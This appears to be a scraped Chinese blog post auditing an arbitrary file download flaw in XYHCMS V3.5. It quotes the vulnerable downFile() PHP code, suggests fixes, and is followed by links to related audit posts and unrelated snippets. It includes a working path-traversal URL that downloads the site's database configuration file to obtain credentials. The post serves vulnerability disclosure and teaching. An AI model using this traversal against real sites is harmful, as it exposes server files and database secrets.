【代码审计】XYHCMS V3.5任意文件下载漏洞分析
0x00 环境准备
XYHCMS官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php 第365-379行:
- public function downFile() {
- if (empty($_GET['file']) || empty($_GET['type']) || !in_array($_GET['type'], array("zip", "sql"))) {
- $this->error("下载地址不存在");
- }
- $path = array("zip" => $this->getDbPath() . "Zip/", "sql" => $this->getDbPath() . '/');
- $filePath = $path[$_GET['type']] . $_GET['file'];
- if (!file_exists($filePath)) {
- $this->error("该文件不存在,可能是被删除");
- }
- 10. $filename = basename($filePath);
- 11. header("Content-type: application/octet-stream");
- 12. header('Content-Disposition: attachment; filename="' . $filename . '"');
- 13. header("Content-Length: " . filesize($filePath));
- 14. readfile($filePath);
15. }
这段函数中对提交的参数进行处理,首先判断file/type参数是否为空及type文件类型,然后拼接成完整的文件路径,检测文件是否存在。可以看出并没有对下载的文件做任何限制,导致程序在实现上存在任意文件下载漏洞,可以构造参数下载服务器任意文件,如脚本代码,服务及系统配置文件等;可用得到的代码进一步代码审计,得到更多可利用漏洞。
0x02 漏洞利用
1、登录网站后台,数据库配置文件路径:\\App\\Common\\Conf\\db.php
因此‘/’作为参数边界识别符,我们可以用‘\\’,来替换,组成相对路径地址,下载数据库配置文件,构造url链接如下:
http://127.0.0.1/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip

2、成功跳出下载框,下载成功后,打开配置文件,获取数据库敏感信息:

0x03 修复建议
1、在下载前对传入的参数进行过滤,直接将..替换成空,就可以简单实现防范的目的
2、最好还是可以对待下载文件类型进行二次检查,判断是否允许下载类型。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】XYHCMS V3.5任意文件下载漏洞分析的更多相关文章
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ...
- 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 代码审计-phpcms9.6.2任意文件下载漏洞
漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...
- dzzoffice 任意文件下载漏洞分析
dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始: elseif($_GET['do']=='move'){ $obz=trim($_ ...
- 代码审计-(Ear Music).任意文件下载漏洞
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...
- 任意文件下载漏洞的接口URL构造分析与讨论
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...
- PHP代码审计笔记--任意文件下载漏洞
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
随机推荐
- SpringBoot 日志框架
默认的日志框架 logback SpringBoot使用Logback作为默认的日志框架.logback 是log4j框架的作者开发的新一代日志框架,它效率更高.能够适应诸多的运行环境,同时天然支持S ...
- sprintf将CString转换成char[]
在MFC中使用sprintf()函数将CString转换成char[]时,char[]只接受第一个字符 使用的是VS2008 CString name;dbName="test" ...
- [Mockito] Mock List interface
In this post, we are going to see more functionalities in Mockito. Mock a List interface: @Test publ ...
- Go 语言环境搭建
本文内容 概述 Go SDK LiteIDE 参考资料 2009年Google推出了它的第二个开源语言 Go.对 Go 的评价褒贬不一,中国比国外的热情高.Go 天生就是为并发和网络而生的,除了这点外 ...
- 使用 BeautifulSoup 进行解析 html
#coding=utf-8 import urllib2 import socket import httplib from bs4 import BeautifulSoup UserAgen ...
- shell编程学习笔记(二):Shell中变量的使用
变量在很多编程语言中都有,Shell中也不例外,我们下面看一下Shell中的变量怎么使用: 以下蓝色字体部分为Linux命令,红色字体的内容为输出的内容: # cd /opt/scripts # vi ...
- WPF背景图
方法一:xaml中:<控件> <控件.Background><ImageBrush ImageSource="/程序集;component/images/xx ...
- ubuntu 12.04启用休眠
x86-64 与EM64区别 EM64T全称是Extended Memory 64 Technology(64位内存技术扩展技术.Intel声称“EM64T技术是Intel对IA32平台一系列技术革新 ...
- 各类nosql db的功能与性能对比
mongodb cassandra neo4j couchbase couchdb redis leveldb
- css中border-radius用法详解
border-radius:由浮点数字和单位标识符组成的长度值.border-top-left-radius --- 左上border-top-right-radius --- 右上border-bo ...